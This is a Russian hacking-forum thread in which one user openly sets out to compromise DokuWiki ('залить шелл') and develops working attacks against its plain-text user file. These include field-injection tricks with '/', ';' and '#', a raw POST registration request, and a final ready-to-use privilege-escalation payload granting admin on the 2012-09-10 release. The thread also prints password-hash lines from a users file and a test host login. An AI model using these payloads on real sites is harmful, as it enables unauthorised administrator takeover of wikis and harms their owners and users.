[Обзор Уязвимости DokuWiki]

Discussion in 'Уязвимости CMS/форумов' started by RedHazard, 16 Feb 2019.

  1. RedHazard

    RedHazard Banned

    Joined:
    17 Apr 2011
    Messages:
    70
    Likes Received:
    14
    Reputations:
    8
    Интересный движок с которым сейчас пытаюсь как то разобраться.
    Если кто то сталкивался подскажите как его приласкать что бы он поддался :)
    Моя задача залить шелл или как то скомпромитировать систему

    вот немного искомой инфы:
    с сайта: https://www.exploit-db.com/
    DokuWiki 2006-03-09b - 'dwpage.php' Remote Code Execution
    DokuWiki 2006-03-09b - 'dwpage.php' System Disclosure
    Dokuwiki 2009-02-14 - Local File Inclusion
    Dokuwiki 2009-12-25 - Multiple Vulnerabilities

    Dokuwiki 2009-02-14 - Temporary/Remote File Inclusion

    и немножко вот тут:
    https://www.cvedetails.com/vulnerability-list/vendor_id-9794/Dokuwiki.html

    Вот одна из фич которые я пытался вкурить, но я видимо что то не то курю что автор этой статьи :)
    https://github.com/splitbrain/dokuwiki/issues/2029
    p.s может есть кто на одной волне с данным парнишей ? :)
     
    #1 RedHazard, 16 Feb 2019
    Last edited: 27 Feb 2019
    1. Тот_самый_Щуп

      Тот_самый_Щуп Reservists Of Antichat

      Joined:
      23 Mar 2017
      Messages:
      265
      Likes Received:
      174
      Reputations:
      119
      Ну вообще, там RCE, при условии, что его включили. (опция теги php)
       
      1. RedHazard

        RedHazard Banned

        Joined:
        17 Apr 2011
        Messages:
        70
        Likes Received:
        14
        Reputations:
        8
        в общем еще идея есть
        повышение прав через редактирование своего профиля.

        регистрируем аккаунт.
        переходим в мой профиль.
        ----------------------------
        Логин [tester] Полное имя [вот тут тестить]
        Эл. адрес [мыльцо@муйл.ру]
        ----------------------------

        Пользователи сохраняются в файл: users.auth.php

        PHP:
        # users.auth.php
        <?php exit()?>
        # Don't modify the lines above
        #
        # Userfile
        #
        # Format:
        #
        # login:passwordhash:Real Name:email:groups,comma,seperated


        tzwtf:$1$JikdmqPD$z4eF2afPNoDcehT7xyeGd1:Sanya:[email protected]:admin,user
        hui_r_n:$1$dQ8LHk6m$8IWlBUSZui49eujJSh8dt.:\r\n:[email protected]:user
        hui1_r_n:$1$kTqC7Mpq$s3ttMw/BDJGSRgytHUdvW0:123:[email protected]:user
        tester:$1$iNHra1Rq$CwCdDlmb9J2QSLTtWIOnZ.:fullname:[email protected]:com:user


        PHP:
        /**
         * Обновление профиля (редактирование)
         * Print the update profile form
         * 
         * @author Christopher Smith <[email protected]>
         * @author Andreas Gohr <[email protected]>
         */
        function html_updateprofile(){
            global 
        $lang;
            global 
        $conf;
            global 
        $INPUT;
            global 
        $INFO;
            
        /** @var auth_basic $auth */
            
        global $auth;

            print 
        p_locale_xhtml('updateprofile');

            
        $fullname $INPUT->post->str('fullname'$INFO['userinfo']['name'], true);
            
        $email $INPUT->post->str('email'$INFO['userinfo']['mail'], true);
            print 
        '<div class="centeralign">'.NL;
            
        $form = new Doku_Form(array('id' => 'dw__register'));
            
        $form->startFieldset($lang['profile']);
            
        $form->addHidden('do''profile');
            
        $form->addHidden('save''1');
            
        $form->addElement(form_makeTextField('login'$_SERVER['REMOTE_USER'], $lang['user'], '''block', array('size'=>'50''disabled'=>'disabled')));
            
        $attr = array('size'=>'50');
            if (!
        $auth->canDo('modName')) $attr['disabled'] = 'disabled';
            
        $form->addElement(form_makeTextField('fullname'$fullname$lang['fullname'], '''block'$attr));
            
        $attr = array('size'=>'50');
            if (!
        $auth->canDo('modMail')) $attr['disabled'] = 'disabled';
            
        $form->addElement(form_makeTextField('email'$email$lang['email'], '''block'$attr));
            
        $form->addElement(form_makeTag('br'));
            if (
        $auth->canDo('modPass')) {
                
        $form->addElement(form_makePasswordField('newpass'$lang['newpass'], '''block', array('size'=>'50')));
                
        $form->addElement(form_makePasswordField('passchk'$lang['passchk'], '''block', array('size'=>'50')));
            }
            if (
        $conf['profileconfirm']) {
                
        $form->addElement(form_makeTag('br'));
                
        $form->addElement(form_makePasswordField('oldpass'$lang['oldpass'], '''block', array('size'=>'50')));
            }
            
        $form->addElement(form_makeButton('submit'''$lang['btn_save']));
            
        $form->addElement(form_makeButton('reset'''$lang['btn_reset']));
            
        $form->endFieldset();
            
        html_form('updateprofile'$form);
            print 
        '</div>'.NL;
        }


        идея сделать вот так, только от пользователя:
        [​IMG]
         
        1. RedHazard

          RedHazard Banned

          Joined:
          17 Apr 2011
          Messages:
          70
          Likes Received:
          14
          Reputations:
          8
          Потестировать всю это херь можно на моем хосте
          http://tzwtf.ru/dokuwiki/doku.php

          логин: tester
          пароль: 123
           
          #4 RedHazard, 24 Feb 2019
          Last edited: 1 Mar 2019
          1. RedHazard

            RedHazard Banned

            Joined:
            17 Apr 2011
            Messages:
            70
            Likes Received:
            14
            Reputations:
            8
            Фильтр символов:
            из
            отфильтровало
             
            1. RedHazard

              RedHazard Banned

              Joined:
              17 Apr 2011
              Messages:
              70
              Likes Received:
              14
              Reputations:
              8
              Баг авторизации выход из деректории:
              версия dokuwiki 2012-09-10 "Adora Belle RC1"
              authtype plain

              Регистрация
              Логин:[test../a]
              Полное мия:[[email protected]]
              Эл. адрес:[a@a]

              Результат в файле users.auth.php


              Code:
              # Format:
              #
              # login:passwordhash:Real Name:email:groups,comma,seperated
              
              test:a:$1$9xrqaX5M$EYTB88lDR83zcl9nsxIMk0:[email protected]:a@a:user
              то-есть мы добавили новую строку a
              Поле a@a перенеслось в поле где прописаны админ группы
              так же бага позволяет создавать одинаковых пользователей.
              Уязвимость я не раскручивал дальше, но вполне реально зарегать себе админ юзера.

              Кто хочет потестить вот вам мой сайт
              http://tzwtf.ru/dokuwiki/doku.php?id=start
              login:tester
              pass:123
               
              BenderMR and BillyBons like this.
              1. RedHazard

                RedHazard Banned

                Joined:
                17 Apr 2011
                Messages:
                70
                Likes Received:
                14
                Reputations:
                8
                так же было обнаружена фича при редактировании профиля.
                authtype plain
                если в поле [полное имя] в начале строки вписать символ диеза он же хештег #
                Все последующие значения обнуляются полное имя, емейл и группа пользователя
                так же этот символ проходит в поле эмейл и так же работает.

                с помощью таких багов не исключена возможность повысить свои привилегии.
                Если будет результат я опубликую его здесь
                 
                BillyBons likes this.
                1. RedHazard

                  RedHazard Banned

                  Joined:
                  17 Apr 2011
                  Messages:
                  70
                  Likes Received:
                  14
                  Reputations:
                  8
                  Все хочу забайпасить авторизацию на dokuwiki
                  И так опять фича с регистрацией!

                  POST /dokuwiki/doku.php?id=start&do=register HTTP/1.1
                  sectok=94c7d3ba9119dc710b222532a91b2951&do=register&save=1&login=tat;21232f297a57a5a743894a0e4a801fc3;fullname;mail;admin&fullname=test&email=a%40a

                  tat = это логин
                  fullname - это полное имя.
                  mail - почта.
                  admin - Это те самые заветные права которые дадут нам доступ к админке.
                  21232f297a57a5a743894a0e4a801fc3 = PasswordHash (admin)
                  (который понимает декодер dokuwiki , он без спец символов типа $./ , ведь стандартный генератор паролей выдает типа таких хешей: $1$cMLNYuYN$OSIG3OWBI/RA2d.mFfJHr1 , и если прописать это в строку логина фильтр уберет символы )

                  и так если в поле логин вписать: tat;21232f297a57a5a743894a0e4a801fc3;fullname;mail;admin
                  то в файле паролей мы получим
                  следующее:
                  tat:21232f297a57a5a743894a0e4a801fc3:fullname:mail:admin:$1$jqx36cSS$vP98kfpUXAQLfXBDn6OSZ/:test:a@a:user

                  а должно быть так:
                  tzwtf:$1$cMLNYuYN$OSIG3OWBI/RA2d.mFfJHr1:Sanya:[email protected]:admin,user

                  Мы видим что права к группам идут через запятую , или с пробелом.
                  а в нашем случае двоеточии: .........name:mail:admin:$1$jqx36c.......
                  Если в ручную поставить пробел в файле то админка появляется, то-есть задача или поставить запятую или пробел, оба символа в поле логин фильтруются, хотя в поле fullname возможно поставить пробел
                   
                  1. RedHazard

                    RedHazard Banned

                    Joined:
                    17 Apr 2011
                    Messages:
                    70
                    Likes Received:
                    14
                    Reputations:
                    8
                    Так же эта фича позволяет создавать пользователей с одинаковыми никами.
                    Можно создать пользователя с ником admin, но прав не будет.
                    Но если отредактировать профиль , все дубликаты удаляются и остается один , таким методом могут поднасолить админам сообществ.
                     
                    1. RedHazard

                      RedHazard Banned

                      Joined:
                      17 Apr 2011
                      Messages:
                      70
                      Likes Received:
                      14
                      Reputations:
                      8
                      1Снимок.PNG

                      Code:
                      Это результат отправки вот такого запроса на регистрацию!
                      2Снимок.PNG

                      Code:
                      Поля fullmae , email
                      пропускают # диезу , а она как мы знаем комментирует все после себя в файле паролей.
                      Тем самым стирает значения.
                      
                       
                      crlf and shell_c0de like this.
                      1. RedHazard

                        RedHazard Banned

                        Joined:
                        17 Apr 2011
                        Messages:
                        70
                        Likes Received:
                        14
                        Reputations:
                        8
                        Privilege Escalation
                        ------ payload dokuwiki -----
                        в поле регистрации вводим:
                        login: ggwp/21232f297a57a5a743894a0e4a801fc3/asdasd
                        fullname: admin#admin
                        mail: aaa@aaa

                        после регистрации вводим
                        Логин: ggwp
                        пароль: admin
                        и получаем админ пользователя.
                        -----------------------------
                        версия: 2012-09-10 "Adora Belle RC1"
                        -----------------------------